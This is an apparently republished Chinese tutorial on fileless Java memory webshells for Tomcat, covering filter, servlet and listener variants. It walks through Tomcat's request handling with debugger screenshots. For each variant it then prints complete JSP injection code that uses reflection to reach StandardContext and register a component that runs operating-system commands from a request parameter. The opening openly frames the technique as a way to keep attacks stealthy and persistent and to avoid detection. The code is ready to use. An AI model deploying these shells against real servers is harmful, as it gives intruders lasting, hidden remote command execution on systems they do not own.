基于Servlet-API型JAVA内存马(filter型、servlet型、listener型)

2023-11-18

前言

常规的木马实际写出落地后容易被检查出来,并且webshell被发现后也就导致我们的行动被发现,很容易造成木马被查杀、利用漏洞被修复,使我们的攻击变得更加艰难,所以内存马的出现与利用无疑是增强了隐蔽性,可以让我们的攻击更加稳定、持久,而从入门写到现在的一句话木马,最终也成为了后门发展的牺牲品。java内存马我觉得算是比较难的一个地方,因为需要get的新名词还是比较多,所以学习这里还是花了比较长的时间。

大的思路

主要就是在组件的加载时候插入内存马,而常听到的filter、servlet、listener这三个名词便是tomcat中处理请求时必须经过的三个点,正是因为必须经过,所以将对应的内存马插入到它们之中,伴随着tomcat的运行而存在、关闭便消失,也就达到了无落地文件内存马的效果,下面先浅浅介绍一下tomcat的结构与处理机制
参考Java安全之基于Tomcat实现内存马

Tomcat

tomcat我想不必多说,它的结构图如下
在这里插入图片描述

在这里插入图片描述

Server:可以理解为一个WEB服务器,作用是在Connector和Engine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。

Connector:Tomcat有两个典型的Connector,一个在8080端口直接侦听来自browser的http请求,一个在8009端口侦听来自其它WebServer的请求。

接下来是4个容器组件,它们之间属于父子关系,容器从上至下依次是

Engine:最顶层容器组件,其下可以包含多个 Host。实现类为 org.apache.catalina.core.StandardEngine
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。实现类为 org.apache.catalina.core.StandardHost
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。实现类为 org.apache.catalina.core.StandardContext
Wrapper:一个 Wrapper 代表一个 Servlet。实现类为 org.apache.catalina.core.StandardWrapper

Filter内存马

filter内存马的总体思路是创建恶意filter,然后用filterDef对filter进行封装,将filterDef添加到filterDefs跟filterConfigs中,再创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中,每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

环境搭建

idea
tomcat 9.0.56
idea 创建 JavaWeb 项目
idea 配置 JavaWeb 项目的 tomcat
把tomcat下的lib全都引进来,否则断点跳不进去
在这里插入图片描述

实现一个filter测试类进行测试:

package com.naihe;

import javax.servlet.*;
import java.io.IOException;


public class FilertDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始加完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }

    @Override
    public void destroy() {
        System.out.println("过滤结束");
    }
}

配置xml:

<filter>
    <filter-name>enfilter</filter-name>
    <filter-class>FilertDemo</filter-class>
</filter>
<filter-mapping>
    <filter-name>enfilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

实现效果
在这里插入图片描述
在这里插入图片描述

断点分析

Filter字面意思就是过滤,这里servlet的过滤机制就是通过Filter,过滤机制有两种实现方法,一是通过注释实现,二是通过 web.xml 配置文件实现,像上面就是用xml配置指定文件实现的,但是实际使用中通过xml去配置基本不可能,但是这里先通过这个代码分析一下tomcat是如何通过web.xml生成的filter对象,整体流程借鉴一下先知大佬的图。

java Filter内存马分析

在这里插入图片描述先对第二部分进行分析,在 ContextConfig#processClass 进行断点调试,这里先获取到类的所有注释,然后遍历获取注释的类型,当注释类型为 Ljavax/servlet/annotation/WebFilter 时,也就是注释实现过滤器,会调用 ContextConfig#processAnnotationWebFilter 方法

在这里插入图片描述到这里得涉及到FilterDefs、FilterConfigs、FilterMaps、FilterConfigs这几个类,所以先提一下

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDefFilter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern,对应着web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

首先我们在filterChain变量这里打上断点
在这里插入图片描述跟进doFilter,会发现ApplicationFilterChain类的filters属性中包含了filter的信息
在这里插入图片描述fragment 是跟 web.xml 配置文件相关联的一个变量,这里会通过 fragment.getFilters().get 尝试获取配置文件里配置的 filter(我们的 filter 是通过注释实现的,所以这里获取不到),filterDef 则为空,isWebXMLfilterDef 会被赋值为 false,且filterDefFilterNameFilterClass 字段都赋值为 FilterDemo
在这里插入图片描述
继续跟进,把 filterMapFilterName 赋值为 FilterDemoURLPattern 赋值为从注释中获取到的值,即 /*
在这里插入图片描述
最后把 filterMapfilterDef 都加到 fragment 里面
在这里插入图片描述

最终会在 ContextConfig#configureContext 方法把 filterMapfilterDef添加到 context

在这里插入图片描述
继续跟进 ApplicationFilterFactory#createFilterChain 方法,这里创建一个 ApplicationFilterChain 类,然后获取到前面提到的 context 变量,再通过 context 变量获取到前面设置的filterMaps,再通过getAttribute获取当前请求的路径等信息

在这里插入图片描述

接着循环遍历 filterMaps ,当 filterMaps 跟当前请求的 dispatcherrequestPath 相吻合则把 filterMaps 对应的 filterConfig 加入到 filterChain

在这里插入图片描述

先提一下几个Context的关系

ServletContextjavax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。 
ApplicationContextorg.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。TomcatContext容器中都会包含一个ApplicationContextStandardContextCatalina主要包括ConnectorContainerStandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina

这里在 StandardWrapperValve#invoke 方法中调用了 ApplicationFilterFactory.createFilterChain 方法获取到存储着相关 filterConfigfilterChain 变量,然后调用了 filterChain.doFilter 方法,也就是 ApplicationFilterChain#doFilter 方法

在这里插入图片描述
filterChain.doFilter 方法调用 internalDoFilter 方法,跟进到 internalDoFilter 方法,这个方法获取到 filters 数组里的 filterConfig,也就是我们前面提到的 this.filters 数组,接着获取 filterConfig 对应的filter,然后调用filterdoFilter方法

在这里插入图片描述

利用代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
    //反射创建servletContext
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    //反射创建applicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //反射创建standardContext
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName)==null){


        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("注入初始化");
            }


            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("过滤中。。。");
            }


            @Override
            public void destroy() {
//                Filter.super.destroy();
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中,即可完成注入
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("successfully");
    }
%>

生命周期

Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()doFilter()destroy()三个方法。

启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;
停止服务器时调用destroy()方法,销毁实例。

Servlet内存马

servlet内存马的思路是创建恶意Servlet后用Wrapper对其进行封装,添加封装后的恶意Wrapper到StandardContext的children当中,最后添加ServletMapping将访问的URL和Servlet进行绑定

环境搭建

在上一个环境下小改一下
web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="false"
>
    <!--注册Servlet-->
    <servlet>
        <servlet-name>hello</servlet-name>
        <servlet-class>testServlet</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>
testServlet
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class testServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("123");
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

断点分析

继续来到 ContextConfig#processClass 方法,下断点后调试启动,同样的先获取类上的所有注释,然后获取注释类型,根据类型进入不同的方法进行处理,这里进入processAnnotationWebServlet方法进行处理

在这里插入图片描述跟进 processAnnotationWebServlet 方法,先从 web.xml 中获取 Servlet 相关的信息,因为我们是通过注释进行配置 Servlet 的,所以这里获取到的 servletDef 为空,然后把从注释获取到的信息赋值给 servletDef
在这里插入图片描述
继续跟进,这里获取到 Servlet 对应的路径并赋值给 urlPatterns ,把 servletDef 添加到 fragment 里面,再把 urlPatternservletName 添加到 fragment 里面
在这里插入图片描述跟进 addServletMapping 方法,这里是把 urlPatternservletName 添加到 servletMappings HashMap 里面
在这里插入图片描述
跳到 ContextConfig#configureContext 方法里,获取所有前面装配进 Web.xmlServlet,然后创建一个 Wrapper ,再判断 Servlet 里对应的 loadOnStartup( web.xml 配置 Servlet 时的一个配置)

<load-on-startup>1</load-on-startup>

判断它是否为空,不为空则把 loadOnStartup 设置进 Wrapper 里,最后设置 Wrapper.nameServletname

在这里插入图片描述

继续跟进,最后把 wrapper 加入到 Child
在这里插入图片描述

webxml 中获取所有前面装配进 WebxmlservletMappings
在这里插入图片描述跟进 addServletMappingDecoded 方法,这里最终添加到的是 StandardContext#servletMappings 属性

在这里插入图片描述
继续跟进到 StandardContext#loadOnStartup 方法,这里获取所有的 child 和 对应的 loadOnStartup ,当 loadOnStartup 大于等于 0 时把 wrapper 加入到 map 当中
在这里插入图片描述继续跟进,把所有的 wrapper 加入到 map 中后从遍历获取 map 中的 wrapper 并调用其 load 方法
在这里插入图片描述
跟进 load 方法,最终进入到 loadServlet 方法,判断 instance 是否为空,不为空则直接返回 instance,为空则实例化这个 wrapper 对应的 servletClass
在这里插入图片描述loadOnStartup 方法中获取 StandardContextchild ,加载我们的恶意wrapper

利用代码

所以构造的思路是提前创建好恶意Wrapper,获取到 StandardContext后把 Wrapper 注入到 StandardContext 中,最后往 StandardContext 中注入 ServletMapping 即可

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%	// 构造恶意的 HttpServlet,使用 POST 方式进行传递命令参数
    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doGet(req, resp);
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i = inputStream.read(bytes)) != -1){
                    resp.getWriter().write(new String(bytes,0,i));
                    resp.getWriter().write("\r\n");
                }
            }
        }
    };
%>

<%	// 获取 StandardContext
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%	// 构造恶意 Wrapper 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(servlet.getClass().getName());
    //wrapper.setServletClass(servlet.getClass().getName());
    wrapper.setServlet(servlet);
%>
 
<%	//往 standardContext 中注入恶意 Wrapper 以及 ServletMapping
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/hello",servlet.getClass().getName());
%>

生命周期

Servlet :Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

装入:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作由init()方法负责执行完成
调用:从第一次到以后的多次访问,都是只调用doGet()doPost()方法
销毁:停止服务器时调用destroy()方法,销毁实例

Listener内存马

Listener型webshell在三者中的优先级最高,所以危害其实是更大的,它的主要思路是创建恶意Listener,将其添加到ApplicationEventListener中去即可。
Listener主要分为以下三个大类:

ServletContext监听
Session监听
Request监听

其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,这里最适合作为Webshell的就是ServletRequestListener,因为每次的请求的数据都能被获取到(getServletRequest()函数就可以拿到本次请求的request对象,我们可以在此加入我们的恶意逻辑 。)

Tomcat下基于Listener的内存Webshell分析

环境搭建

修改web.xml

<listener>
    <listener-class>listener</listener-class>
</listener>

编写一个Servlet,发包

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/listener")
public class Servletlistener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("hello");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

编写一个监听器listener

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;


public class listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
    }
}

断点分析

在起始处断点进行分析
在这里插入图片描述
跟进两步到StandardContext#listenerStart 方法,先获取监听器然后遍历监听器进行实例化

在这里插入图片描述
Listeners从 findApplicationListeners 方法返回,跟进看一下返回的是 applicationListeners 属性,其中就是我们编写的 ServletListener

在这里插入图片描述
遍历并实例化完监听器之后把实例化对象加入到 eventListeners 中, 然后通过 setApplicationEventListeners 方法把 eventListeners 设置到 applicationEventListenersList

在这里插入图片描述跟进一下 setApplicationEventListeners 方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList 属性中
在这里插入图片描述
注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized 方法上下断点调试
在这里插入图片描述

跟进到 StandardContext#fireRequestInitEvent 方法,通过 getApplicationEventListeners 方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized 方法
在这里插入图片描述

利用代码

通过获取当前Context对象,进而反射获取ApplicationContext对象,然后通过addListener函数调用我们构造的恶意Listener,实现内存Webshell。

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
  Object obj = request.getServletContext();
  java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
  field.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
  //获取ApplicationContext
  field = applicationContext.getClass().getDeclaredField("context");
  field.setAccessible(true);
  StandardContext standardContext = (StandardContext) field.get(applicationContext);
  //获取StandardContext
  ListenerDemo listenerdemo = new ListenerDemo();
  //创建能够执行命令的Listener
  standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
  public class ListenerDemo implements ServletRequestListener {
  public void requestDestroyed(ServletRequestEvent sre) {
    System.out.println("requestDestroyed");
  }
  public void requestInitialized(ServletRequestEvent sre) {
    System.out.println("requestInitialized");
    try{
      String cmd = sre.getServletRequest().getParameter("cmd");
      Runtime.getRuntime().exec(cmd);
    }catch (Exception e ){
      //e.printStackTrace();
    }
  }
}
%>

生命周期

Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。

每次请求创建时调用requestInitialized()。
每次请求销毁时调用requestDestroyed()

Java安全之基于Tomcat实现内存马
java内存马分析集合
JSP Webshell那些事 – 攻击篇(下)
Tomcat 内存马学习(一):Filter型
JAVA内存马的“一生”
参考内存马

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于Servlet-API型JAVA内存马(filter型、servlet型、listener型) 的相关文章

随机推荐

  • Ubuntu下安装和注册beyond compare 4

    下载 安装 下载安装包网址 Ubuntu上选择Debian安装包 https www scootersoftware com download php sudo dpkg i bcompare 4 4 6 27483 amd64 deb 注
  • 【汽车电子】浅谈车载系统QNX

    目录 1 概述 2 QNX系统介绍 2 1 系统特点 2 2 系统结构 2 3 调度策略 3 QNX内核 4 QNX网络结构 5 QNX网络设备驱动 6 网络设备信息的统计 2 发展历程 3 应用场景 4 相关链接 1 概述 QNX是一种商
  • Stereo-Detection:YOLO v5与双目测距结合,实现目标的识别和定位测距

    简介 Stereo Detection 是一个传统的SGBM深度测距 yolov5目标检测 并部署在Jeston nano的开源教程 它致力于让更多的大四学生毕业 以及让研一学生入门 开源链接 yzfzzz Stereo Detection
  • Visual Studio运行C语言程序(第一个程序)

    以VS2017为例 首先打开VS 新建Visual C 空项目 建议将编写的程序放在一个文件夹里 并以编写程序当天的日期来命名 在Visual C 里选择C 文件 命名为自己容易认出的名称 后缀为 c就行 右击资源管理器的源文件 选择添加
  • 用Python爬取电影数据并可视化分析_python电影数据分析

    文章目录 一 获取数据 1 技术工具 2 爬取目标 3 字段信息 二 数据预处理 1 加载数据 2 异常值处理 3 字段处理 三 数据可视化 四 总结 一 获取数据 1 技术工具 IDE编辑器 vscode 发送请求 requests 解析
  • Spring refresh() 方法详解(启动Spring,bean的创建过程)

    Spring refresh方法详解 一 refresh 方法预览 二 refresh 方法中调用的每个方法 1 this prepareRefresh 激活开启容器 2 this obtainFreshBeanFactory 获取 bea
  • SQL Server 批量插入数据的两种方法

    在SQL Server 中插入一条数据使用Insert语句 但是如果想要批量插入一堆数据的话 循环使用Insert不仅效率低 而且会导致SQL一系统性能问题 下面介绍SQL Server支持的两种批量数据插入方法 Bulk和表值参数 Tab
  • CSAPP学习记录-Course Overview

    这是我开始学习CSAPP的笔记的第一遍 在接下来的内容 我会分享自己在学习CSAPP时的笔记 感受等等 学习资料来自b站 声明 所有内容基于自己的理解 如有错误感谢大家指出 链接 https www bilibili com video B
  • QT中按钮格式QSS代码

    鼠标正常时按钮效果 QPushButton myButton normal 鼠标正常时的效果 color 000000 background color rgb 40 85 20 改变背景色 border style inset 改变边框风
  • Hadoop3.x 之 MapReduce 开发总结(月薪过万)

    Hadoop之 MapReduce开发总结 MapReduce 开发总结 月薪过万 1 输入数据接口 InputFormat 月薪过万 2 逻辑处理接口 Mapper 月薪过万 3 Partitioner 分区 月薪过万 4 Compara
  • 图像分割2021

    cvpr2022总结 CVPR 2022 图像分割论文大盘点 大林兄的博客 CSDN博客 图像分割最新论文 尽管近年来实例分割取得了长足的进步 但如何设计具有实时性的高精度算法仍然是一个挑战 本文提出了一种实时实例分割框架OrienMask
  • [论文精读]BERT

    BERT Pre training of Deep Bidirectional Transformers for Language Understanding Abstract 作者介绍了一种新的语言模型 叫做BERT 是来自transfo
  • 服务器硬盘故障运维,运维人员处理云服务器故障方法总结

    我们团队为Ucloud云计算服务提供专家技术支持 每天都要碰到无数的用户故障 毕竟IAAS涉及比较底层的东西 不管设计的是大客户也好还是小客户 有了问题就必须要解决 也要要是再赶上修复时间紧 奇葩的技术平台 缺少信息和文档 基本上这过程都会
  • 微信小程序之计算器

    参考博客 微信小程序 简易计算器 Huang xianlong的博客 CSDN博客 微信小程序计算器 效果图 代码 calculator wxml
  • python学习小报2--python软件使用的注意事项

    一 命令行基本操作 安装好python之后 可以通过右键windows 选中运行 然后输入cmd进入系统页面 点击确定 进入系统页面 gt gt gt 表示提示符 此时在提示符之后输入python点击回车 即可进入python编程 从图中即
  • 2023年第二届计算与人工智能国际会议(ISCAI 2023)

    会议简介 Brief Introduction 2023年第二届计算与人工智能国际会议 ISCAI 2023 会议时间 2023年10月13 15日 召开地点 中国 上海 大会官网 www iscai org 2023年第二届计算与人工智能
  • 机器学习之基础知识(全)

    目录 1 机器学习概述 1 1 人工智能概述 1 1 1 人工智能使用场景 1 1 2 人工智能小案例 1 2 人工智能发展历程 1 2 1 图灵测试 1 2 2 发展历程 1 2 3 小结 1 3 人工智能主要分支 1 3 1 人工智能
  • RxJS新手入门

    文章目录 1 介绍 2 核心概念 3 基本运作过程 4 RxJS 如何通过运算符过滤资料 5 RxJS 主体物件 Subject 的用法 6 弹珠图 7 如何选择运算符 1 介绍 RxJS 是什么 用一句话类概括就是 RxJS 是用于 Ja
  • Kali Linux没有无线网卡?玩个锤纸~

    Kali Linux没有无线网卡 玩个锤纸 一 USB无限网卡 使用Kali linux 先准备好一个适合Kali系统的USB外置无限网卡 注意内置网卡并不适合渗透测试 Linux系统的指令相对于一般人来说比较晦涩难懂 最好选择免驱动类型
  • 基于Servlet-API型JAVA内存马(filter型、servlet型、listener型)

    前言 常规的木马实际写出落地后容易被检查出来 并且webshell被发现后也就导致我们的行动被发现 很容易造成木马被查杀 利用漏洞被修复 使我们的攻击变得更加艰难 所以内存马的出现与利用无疑是增强了隐蔽性 可以让我们的攻击更加稳定 持久 而